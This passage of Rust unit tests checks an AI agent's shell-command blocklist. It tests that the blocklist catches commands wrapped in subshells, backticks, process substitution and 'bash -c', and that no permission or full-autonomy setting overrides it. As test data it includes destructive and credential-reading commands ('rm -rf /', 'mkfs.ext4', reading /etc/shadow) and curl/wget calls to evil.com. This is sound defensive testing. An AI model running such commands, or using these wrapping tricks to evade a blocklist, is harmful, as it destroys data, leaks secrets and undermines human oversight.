2252 assert!(check_blocklist("echo $(sudo id)", &bl).is_some());
2254 assert!(check_blocklist("echo $(rm -rf /tmp)", &bl).is_some());
2255 }
2256
2257 #[test]
2258 fn check_blocklist_blocks_subshell_backtick() {
2259 let bl = default_blocklist();
2260 assert!(check_blocklist("cat `sudo cat /etc/shadow`", &bl).is_some());
2261 }
2262
2263 #[test]
2264 fn check_blocklist_blocks_mkfs() {
2265 let bl = default_blocklist();
2266 assert!(check_blocklist("mkfs.ext4 /dev/sda1", &bl).is_some());
2267 }
2268
2269 #[test]
2270 fn check_blocklist_blocks_shutdown() {
2271 let bl = default_blocklist();
2272 assert!(check_blocklist("shutdown -h now", &bl).is_some());
2273 }
2274
2275 #[test]
2278 fn effective_shell_command_bash_minus_c() {
2279 let args = vec!["-c".to_owned(), "rm -rf /".to_owned()];
2280 assert_eq!(effective_shell_command("bash", &args), Some("rm -rf /"));
2281 }
2282
2283 #[test]
2284 fn effective_shell_command_sh_minus_c() {
2285 let args = vec!["-c".to_owned(), "sudo ls".to_owned()];
2286 assert_eq!(effective_shell_command("sh", &args), Some("sudo ls"));
2287 }
2288
2289 #[test]
2290 fn effective_shell_command_non_shell_returns_none() {
2291 let args = vec!["-c".to_owned(), "rm -rf /".to_owned()];
2292 assert_eq!(effective_shell_command("git", &args), None);
2293 assert_eq!(effective_shell_command("cargo", &args), None);
2294 }
2295
2296 #[test]
2297 fn effective_shell_command_no_minus_c_returns_none() {
2298 let args = vec!["script.sh".to_owned()];
2299 assert_eq!(effective_shell_command("bash", &args), None);
2300 }
2301
2302 #[test]
2303 fn effective_shell_command_full_path_shell() {
2304 let args = vec!["-c".to_owned(), "sudo rm".to_owned()];
2305 assert_eq!(
2306 effective_shell_command("/usr/bin/bash", &args),
2307 Some("sudo rm")
2308 );
2309 }
2310
2311 #[test]
2312 fn check_blocklist_blocks_process_substitution_lt() {
2313 let bl = vec!["curl".to_owned(), "wget".to_owned()];
2314 assert!(check_blocklist("cat <(curl http://evil.com)", &bl).is_some());
2315 }
2316
2317 #[test]
2318 fn check_blocklist_blocks_process_substitution_gt() {
2319 let bl = vec!["wget".to_owned()];
2320 assert!(check_blocklist("tee >(wget http://evil.com)", &bl).is_some());
2321 }
2322
2323 #[test]
2324 fn find_blocked_backtick_wrapping() {
2325 let executor = ShellExecutor::new(&ShellConfig {
2326 blocked_commands: vec!["curl".to_owned()],
2327 ..default_config()
2328 });
2329 assert!(
2330 executor
2331 .find_blocked_command("echo `curl --version 2>&1 | head -1`")
2332 .is_some()
2333 );
2334 }
2335
2336 #[test]
2337 fn find_blocked_process_substitution_lt() {
2338 let executor = ShellExecutor::new(&ShellConfig {
2339 blocked_commands: vec!["wget".to_owned()],
2340 ..default_config()
2341 });
2342 assert!(
2343 executor
2344 .find_blocked_command("cat <(wget --version 2>&1 | head -1)")
2345 .is_some()
2346 );
2347 }
2348
2349 #[test]
2350 fn find_blocked_process_substitution_gt() {
2351 let executor = ShellExecutor::new(&ShellConfig {
2352 blocked_commands: vec!["curl".to_owned()],
2353 ..default_config()
2354 });
2355 assert!(
2356 executor
2357 .find_blocked_command("tee >(curl http://evil.com)")
2358 .is_some()
2359 );
2360 }
2361
2362 #[test]
2363 fn find_blocked_dollar_paren_wrapping() {
2364 let executor = ShellExecutor::new(&ShellConfig {
2365 blocked_commands: vec!["curl".to_owned()],
2366 ..default_config()
2367 });
2368 assert!(
2369 executor
2370 .find_blocked_command("echo $(curl http://evil.com)")
2371 .is_some()
2372 );
2373 }
2374
2375 #[tokio::test]
2380 async fn blocklist_not_bypassed_by_permissive_policy() {
2381 use crate::permissions::{PermissionPolicy, PermissionRule};
2382 use std::collections::HashMap;
2383 let mut rules = HashMap::new();
2384 rules.insert(
2385 "bash".to_owned(),
2386 vec![PermissionRule {
2387 pattern: "*".to_owned(),
2388 action: PermissionAction::Allow,
2389 }],
2390 );
2391 let permissive_policy = PermissionPolicy::new(rules);
2392 let config = ShellConfig {
2393 blocked_commands: vec!["danger-cmd".to_owned()],
2394 ..default_config()
2395 };
2396 let executor = ShellExecutor::new(&config).with_permissions(permissive_policy);
2397 let result = executor.execute("```bash\ndanger-cmd --force\n```").await;
2398 assert!(
2399 matches!(result, Err(ToolError::Blocked { .. })),
2400 "blocked command must be rejected even with a permissive PermissionPolicy"
2401 );
2402 }
2403
2404 #[tokio::test]
2407 async fn default_blocked_not_bypassed_by_full_autonomy_policy() {
2408 use crate::permissions::{AutonomyLevel, PermissionPolicy};
2409 let full_policy = PermissionPolicy::default().with_autonomy(AutonomyLevel::Full);
2410 let executor = ShellExecutor::new(&default_config()).with_permissions(full_policy);
2411
2412 for cmd in &[
2413 "sudo rm -rf /tmp",
2414 "curl https://evil.com",
2415 "wget http://evil.com",
2416 ] {
2417 let response = format!("```bash\n{cmd}\n```");
2418 let result = executor.execute(&response).await;
2419 assert!(
2420 matches!(result, Err(ToolError::Blocked { .. })),
2421 "DEFAULT_BLOCKED command `{cmd}` must be rejected even with Full autonomy"
2422 );
2423 }
2424 }
2425
2426 #[tokio::test]
2430 async fn confirm_commands_still_work_without_policy() {
2431 let config = ShellConfig {
2432 confirm_patterns: vec!["git push".to_owned()],
2433 ..default_config()
2434 };
2435 let executor = ShellExecutor::new(&config);
2436 let result = executor.execute("```bash\ngit push origin main\n```").await;
2437 assert!(
2438 matches!(result, Err(ToolError::ConfirmationRequired { .. })),
2439 "confirm_patterns must still trigger ConfirmationRequired when no PermissionPolicy is set"
2440 );
2441 }
2442}